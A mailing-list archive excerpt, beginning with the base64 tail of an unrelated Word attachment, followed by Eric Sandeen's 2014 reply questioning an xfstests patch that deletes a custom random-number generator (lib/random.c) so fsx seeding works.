AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAA CQAAAAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAARAAAAEgAAABMAAAAUAAAAFQAAABYAAAAX AAAAGAAAABkAAAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUA AAAmAAAAJwAAACgAAAApAAAAKgAAACsAAAAsAAAALQAAAC4AAAAvAAAAMAAAADEAAAAyAAAAMwAA ADQAAAA1AAAANgAAADcAAAA4AAAAOQAAADoAAAA7AAAAPAAAAD0AAAA+AAAAPwAAAEAAAABBAAAA QgAAAEMAAABEAAAARQAAAEYAAABHAAAASAAAAEkAAABKAAAASwAAAEwAAABNAAAATgAAAE8AAABQ AAAAUQAAAFIAAABTAAAAVAAAAFUAAABWAAAAVwAAAFgAAABZAAAAWgAAAFsAAABcAAAAXQAAAF4A AABfAAAAYAAAAGEAAABiAAAAYwAAAGQAAABlAAAAZgAAAGcAAABoAAAAaQAAAGoAAABrAAAAbAAA AG0AAABuAAAAbwAAAHAAAABxAAAAcgAAAHMAAAB0AAAAdQAAAHYAAAB3AAAAeAAAAHkAAAB6AAAA ewAAAHwAAAB9AAAAfgAAAH8AAACAAAAAgQAAAIIAAACDAAAAhAAAAIUAAACGAAAAhwAAAIgAAACJ AAAAigAAAIsAAACMAAAAjQAAAI4AAACPAAAAkAAAAJEAAACSAAAAkwAAAJQAAACVAAAAlgAAAJcA AACYAAAAmQAAAJoAAACbAAAAnAAAAJ0AAACeAAAAnwAAAKAAAAChAAAAogAAAKMAAACkAAAApQAA AKYAAACnAAAAqAAAAKkAAACqAAAAqwAAAKwAAACtAAAArgAAAK8AAACwAAAAsQAAALIAAACzAAAA tAAAALUAAAC2AAAAtwAAALgAAAC5AAAAugAAALsAAAC8AAAAvQAAAL4AAAC/AAAAwAAAAMEAAADC AAAAwwAAAMQAAADFAAAAxgAAAMcAAADIAAAAyQAAAMoAAADLAAAAzAAAAM0AAADOAAAAzwAAANAA AADRAAAA0gAAANMAAADUAAAA1QAAANYAAADXAAAA2AAAANkAAADaAAAA2wAAANwAAADdAAAA3gAA AN8AAADgAAAA4QAAAOIAAADjAAAA5AAAAOUAAADmAAAA5wAAAOgAAADpAAAA6gAAAOsAAADsAAAA 7QAAAO4AAADvAAAA8AAAAPEAAADyAAAA8wAAAPQAAAD1AAAA9gAAAPcAAAD4AAAA+QAAAP7////7 AAAA/AAAAP0AAAD+AAAA/wAAAAABAAABAQAAAgEAAAMBAAAEAQAABQEAAAYBAAAHAQAACAEAAAkB AAAKAQAACwEAAAwBAAANAQAADgEAAA8BAAAQAQAAEQEAABIBAAATAQAAFAEAABUBAAAWAQAAFwEA ABgBAAAZAQAAGgEAABsBAAAcAQAAHQEAAB4BAAAfAQAAIAEAACEBAAAiAQAAIwEAACQBAAAlAQAA JgEAACcBAAAoAQAAKQEAACoBAAArAQAALAEAAC0BAAAuAQAALwEAADABAAAxAQAAMgEAADMBAAA0 AQAANQEAADYBAAA3AQAAOAEAADkBAAA6AQAAOwEAADwBAAA9AQAAPgEAAD8BAABAAQAAQQEAAEIB AABDAQAARAEAAEUBAABGAQAARwEAAEgBAABJAQAASgEAAEsBAABMAQAATQEAAE4BAABPAQAAUAEA AFEBAABSAQAAUwEAAFQBAABVAQAAVgEAAFcBAABYAQAAWQEAAFoBAABbAQAAXAEAAF0BAABeAQAA XwEAAGABAABhAQAAYgEAAGMBAABkAQAAZQEAAGYBAABnAQAAaAEAAGkBAABqAQAAawEAAGwBAABt AQAAbgEAAG8BAABwAQAAcQEAAHIBAABzAQAAdAEAAHUBAAB2AQAAdwEAAHgBAAB5AQAAegEAAHsB AAB8AQAAfQEAAH4BAAB/AQAAgAEAAIEBAACCAQAAgwEAAIQBAACFAQAAhgEAAIcBAACIAQAAiQEA AIoBAACLAQAAjAEAAI0BAACOAQAAjwEAAJABAACRAQAAkgEAAJMBAACUAQAAlQEAAJYBAACXAQAA mAEAAJkBAACaAQAAmwEAAJwBAACdAQAAngEAAJ8BAACgAQAAoQEAAKIBAACjAQAApAEAAKUBAACm AQAApwEAAKgBAACpAQAAqgEAAKsBAACsAQAArQEAAK4BAACvAQAAsAEAALEBAACyAQAAswEAALQB AAC1AQAAtgEAALcBAAC4AQAAuQEAALoBAAC7AQAAvAEAAL0BAAC+AQAAvwEAAMABAADBAQAAwgEA AMMBAADEAQAAxQEAAMYBAADHAQAAyAEAAMkBAADKAQAAywEAAMwBAADNAQAAzgEAAM8BAADQAQAA 0QEAANIBAADTAQAA1AEAANUBAADWAQAA1wEAANgBAADZAQAA2gEAANsBAADcAQAA3QEAAN4BAADf AQAA4AEAAOEBAADiAQAA4wEAAOQBAADlAQAA5gEAAOcBAADoAQAA6QEAAOoBAADrAQAA7AEAAO0B AADuAQAA7wEAAPABAADxAQAA8gEAAPMBAAD0AQAA9QEAAPYBAAD3AQAA+AEAAPkBAAD6AQAA+wEA APwBAAD9AQAA/gEAAP8BAAAAAgAAAQIAAAICAAADAgAABAIAAAUCAAAGAgAABwIAAAgCAAAJAgAA CgIAAAsCAAAMAgAADQIAAA4CAAAPAgAAEAIAABECAAASAgAAEwIAABQCAAAVAgAAFgIAABcCAAAY AgAAGQIAABoCAAAbAgAAHAIAAB0CAAAeAgAAHwIAACACAAAhAgAAIgIAACMCAAAkAgAAJQIAACYC AAAnAgAAKAIAACkCAAAqAgAAKwIAACwCAAAtAgAALgIAAC8CAAAwAgAAMQIAADICAAAzAgAANAIA ADUCAAA2AgAANwIAADgCAAA5AgAAOgIAADsCAAA8AgAAPQIAAD4CAAA/AgAAQAIAAEECAABCAgAA QwIAAEQCAABFAgAARgIAAEcCAABIAgAASQIAAEoCAABLAgAATAIAAE0CAABOAgAATwIAAFACAABR AgAAUgIAAFMCAABUAgAAVQIAAFYCAABXAgAAWAIAAFkCAABaAgAAWwIAAFwCAABdAgAAXgIAAF8C AABgAgAAYQIAAGICAABjAgAAZAIAAGUCAABmAgAAZwIAAGgCAABpAgAAagIAAGsCAABsAgAAbQIA AG4CAABvAgAAcAIAAHECAAByAgAAcwIAAHQCAAB1AgAAdgIAAHcCAAB4AgAAeQIAAHoCAAB7AgAA fAIAAH0CAAB+AgAAfwIAAIACAACBAgAAggIAAIMCAACEAgAAhQIAAIYCAACHAgAAiAIAAIkCAACK AgAAiwIAAIwCAACNAgAAjgIAAI8CAACQAgAAkQIAAJICAACTAgAAlAIAAJUCAACWAgAAlwIAAJgC AACZAgAAmgIAAJsCAACcAgAAnQIAAJ4CAACfAgAAoAIAAKECAACiAgAAowIAAKQCAAClAgAApgIA AKcCAACoAgAAqQIAAKoCAACrAgAArAIAAK0CAACuAgAArwIAALACAACxAgAAsgIAALMCAAC0AgAA tQIAALYCAAC3AgAAuAIAALkCAAC6AgAAuwIAALwCAAC9AgAAvgIAAL8CAADAAgAAwQIAAMICAADD AgAAxAIAAMUCAADGAgAAxwIAAMgCAADJAgAAygIAAMsCAADMAgAAzQIAAM4CAADPAgAA0AIAANEC AADSAgAA0wIAANQCAADVAgAA1gIAANcCAADYAgAA2QIAANoCAADbAgAA3AIAAN0CAADeAgAA3wIA AOACAADhAgAA4gIAAOMCAADkAgAA5QIAAOYCAADnAgAA6AIAAOkCAADqAgAA6wIAAOwCAADtAgAA 7gIAAO8CAADwAgAA8QIAAPICAADzAgAA9AIAAPUCAAD2AgAA9wIAAPgCAAD5AgAA+gIAAPsCAAD8 AgAA/QIAAP4CAAD/AgAAAAMAAAEDAAACAwAAAwMAAAQDAAAFAwAABgMAAAcDAAAIAwAACQMAAAoD AAALAwAADAMAAA0DAAAOAwAADwMAABADAAARAwAAEgMAABMDAAAUAwAAFQMAABYDAAAXAwAAGAMA ABkDAAAaAwAAGwMAABwDAAAdAwAAHgMAAB8DAAAgAwAAIQMAACIDAAAjAwAAJAMAACUDAAAmAwAA JwMAACgDAAApAwAAKgMAACsDAAAsAwAALQMAAC4DAAAvAwAAMAMAADEDAAAyAwAAMwMAADQDAAA1 AwAANgMAADcDAAA4AwAAOQMAADoDAAA7AwAAPAMAAD0DAAA+AwAAPwMAAEADAABBAwAAQgMAAEMD AABEAwAARQMAAEYDAABHAwAASAMAAEkDAABKAwAASwMAAEwDAABNAwAATgMAAE8DAABQAwAAUQMA AFIDAABTAwAAVAMAAFUDAABWAwAAVwMAAFgDAABZAwAAWgMAAFsDAABcAwAAXQMAAF4DAABfAwAA YAMAAGEDAABiAwAAYwMAAGQDAABlAwAAZgMAAGcDAABoAwAAaQMAAGoDAABrAwAAbAMAAG0DAABu AwAAbwMAAHADAABxAwAAcgMAAHMDAAB0AwAAdQMAAHYDAAB3AwAAeAMAAHkDAAB6AwAAewMAAHwD AAB9AwAAfgMAAH8DAACAAwAAgQMAAIIDAACDAwAAhAMAAIUDAACGAwAAhwMAAIgDAACJAwAAigMA AIsDAACMAwAAjQMAAI4DAACPAwAAkAMAAJEDAACSAwAAkwMAAJQDAACVAwAAlgMAAJcDAACYAwAA mQMAAJoDAACbAwAAnAMAAJ0DAACeAwAAnwMAAKADAAChAwAAogMAAKMDAACkAwAApQMAAKYDAACn AwAAqAMAAKkDAACqAwAAqwMAAKwDAACtAwAArgMAAK8DAACwAwAAsQMAALIDAACzAwAAtAMAALUD AAC2AwAAtwMAALgDAAC5AwAAugMAALsDAAC8AwAAvQMAAL4DAAC/AwAAwAMAAMEDAADCAwAAwwMA AMQDAADFAwAAxgMAAMcDAADIAwAAyQMAAMoDAADLAwAAzAMAAM0DAADOAwAAzwMAANADAADRAwAA 0gMAANMDAADUAwAA1QMAANYDAADXAwAA2AMAANkDAADaAwAA2wMAANwDAADdAwAA3gMAAN8DAADg AwAA4QMAAOIDAADjAwAA5AMAAOUDAADmAwAA5wMAAOgDAADpAwAA6gMAAOsDAADsAwAA7QMAAO4D AADvAwAA8AMAAPEDAADyAwAA8wMAAPQDAAD1AwAA9gMAAPcDAAD4AwAA+QMAAPoDAAD7AwAA/AMA AP0DAAD+AwAA/wMAAAAEAAABBAAAAgQAAAMEAAAEBAAABQQAAAYEAAAHBAAACAQAAAkEAAAKBAAA CwQAAAwEAAANBAAADgQAAA8EAAAQBAAAEQQAABIEAAATBAAAFAQAABUEAAAWBAAAFwQAABgEAAAZ BAAAGgQAABsEAAAcBAAAHQQAAB4EAAAfBAAAIAQAACEEAAAiBAAAIwQAACQEAAAlBAAAJgQAACcE AAAoBAAAKQQAACoEAAArBAAALAQAAC0EAAAuBAAALwQAADAEAAAxBAAAMgQAADMEAAA0BAAANQQA ADYEAAA3BAAAOAQAADkEAAA6BAAAOwQAADwEAAA9BAAAPgQAAD8EAABABAAAQQQAAEIEAABDBAAA RAQAAEUEAABGBAAARwQAAEgEAABJBAAASgQAAEsEAABMBAAATQQAAE4EAABPBAAAUAQAAFEEAABS BAAAUwQAAFQEAABVBAAAVgQAAFcEAABYBAAAWQQAAFoEAABbBAAAXAQAAF0EAABeBAAAXwQAAGAE AABhBAAAYgQAAGMEAABkBAAAZQQAAGYEAABnBAAAaAQAAGkEAABqBAAAawQAAGwEAABtBAAAbgQA AG8EAABwBAAAcQQAAHIEAABzBAAAdAQAAP7///92BAAAdwQAAHgEAAB5BAAAegQAAHsEAAB8BAAA fQQAAH4EAAB/BAAAgAQAAIEEAACCBAAA/v///4QEAACFBAAAhgQAAIcEAACIBAAAiQQAAIoEAAD+ ////jAQAAI0EAACOBAAAjwQAAJAEAACRBAAAkgQAAP7////9/////f////3////9/////f////3/ ///9/////f////3////9////ngQAAP7////+/////v////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////UgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAABYABQH//////////wMAAAAGCQIAAAAAAMAAAAAAAABGAAAA AAAAAAAAAAAAYMSvYqb8zgGgBAAAgAAAAAAAAABEAGEAdABhAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgACAf///////////////wAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPoAAABu9QYAAAAAADEAVABhAGIAbABlAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAIBAQAA AAYAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdQQAAGwbAAAAAAAA VwBvAHIAZABEAG8AYwB1AG0AZQBuAHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAABoAAgECAAAABQAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAzvIBAAAAAAAFAFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAKAACAf///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAIMEAAAAEAAAAAAAAAUARABvAGMAdQBtAGUAbgB0AFMAdQBtAG0AYQBy AHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAAAA4AAIBBAAAAP//////////AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiwQAAAAQAAAAAAAAAQBDAG8AbQBwAE8AYgBq AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAgD///// //////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcQAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAEAAAD+//////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////AQD+/wMKAAD/////BgkCAAAAAADAAAAAAAAARh8AAABNaWNyb3NvZnQgT2Zm aWNlIFdvcmQgRG9jdW1lbnQACgAAAE1TV29yZERvYwAQAAAAV29yZC5Eb2N1bWVudC44APQ5snEA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA= --_8a329258-3db0-4eab-9ec7-13378f55baeb_-- From sandeen@redhat.com Mon Jan 6 15:32:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 76EEE7F37 for ; Mon, 6 Jan 2014 15:32:37 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0C1E3AC006 for ; Mon, 6 Jan 2014 13:32:33 -0800 (PST) X-ASG-Debug-ID: 1389043952-04bdf00fe2534c70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id cBFjzHEgOcltBnYn for ; Mon, 06 Jan 2014 13:32:32 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s06LWU4K009238 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Jan 2014 16:32:30 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s06LWTHw005224 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Mon, 6 Jan 2014 16:32:30 -0500 Message-ID: <52CB20ED.1010705@redhat.com> Date: Mon, 06 Jan 2014 15:32:29 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Josef Bacik , linux-btrfs@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: kill lib/random.c References: <1389038323-8304-1-git-send-email-jbacik@fb.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: kill lib/random.c In-Reply-To: <1389038323-8304-1-git-send-email-jbacik@fb.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1389043952 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 1/6/14, 1:58 PM, Josef Bacik wrote: > I was trying to reproduce something with fsx and I noticed that no matter what > seed I set I was getting the same file. Come to find out we are overloading > random() with our own custom horribleness for some unknown reason. So nuke the > damn thing from orbit and rely on glibc's random(). With this fix the -S option > actually does something with fsx. Thanks, Hm, old comments seem to indicate that this was done to make random behave the same on different architectures (i.e. same result from same seed, I guess?) I . . . don't know if that is true of glibc's random(), is it? I'd like to dig into the history just a bit before we yank this, just to be sure. -Eric > Signed-off-by: Josef Bacik > --- > lib/Makefile | 3 +- > lib/random.c | 240 ----------------------------------------------------------- > 2 files changed, 1 insertion(+), 242 deletions(-) > delete mode 100644 lib/random.c > > diff --git a/lib/Makefile b/lib/Makefile > index c7348ce..a9e32bc 100644 > --- a/lib/Makefile > +++ b/lib/Makefile > @@ -16,8 +16,7 @@ LT_AGE = 0 > # > CFILES = dataascii.c databin.c datapid.c file_lock.c forker.c \ > pattern.c open_flags.c random_range.c string_to_tokens.c \ > - str_to_bytes.c tlibio.c write_log.c \ > - random.c > + str_to_bytes.c tlibio.c write_log.c > > default: depend $(LTLIBRARY) > > diff --git a/lib/random.c b/lib/random.c > deleted file mode 100644 > index eb23cd9..0000000 > --- a/lib/random.c > +++ /dev/null > @@ -1,240 +0,0 @@ > -/************************************************************************** > - * > - * random.c -- pseudo random number generator > - * Copyright (C) 1994 Chris Wallace (csw@bruce.cs.monash.edu.au) > - * > - * This program is free software; you can redistribute it and/or modify > - * it under the terms of the GNU General Public License as published by > - * the Free Software Foundation; either version 2 of the License, or > - * (at your option) any later version. > - * > - * This program is distributed in the hope that it will be useful, > - * but WITHOUT ANY WARRANTY; without even the implied warranty of > - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > - * GNU General Public License for more details. > - * > - * You should have received a copy of the GNU General Public License > - * along with this program; if not, write to the Free Software > - * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. > - * > - * > - **************************************************************************/ > - > -#include > - > -/* > - * modified by dxm@sgi.com so that this file acts as a drop in replacement > - * for srandom and random. > - */ > - > -/* > - * A random number generator called as a function by > - * random (iseed) or irandm (iseed) > - * The parameter should be a pointer to a 2-element int32_t vector. > - * The first function returns a double uniform in 0 .. 1. > - * The second returns a int32_t integer uniform in 0 .. 2**31-1 > - * Both update iseed[] in exactly the same way. > - * iseed[] must be a 2-element integer vector. > - * The initial value of the second element may be anything. > - * > - * The period of the random sequence is 2**32 * (2**32-1) > - * The table mt[0:127] is defined by mt[i] = 69069 ** (128-i) > - */ > - > -#define MASK ((int32_t) 593970775) > -/* or in hex, 23674657 */ > - > -#define SCALE ((double) 1.0 / (1024.0 * 1024.0 * 1024.0 * 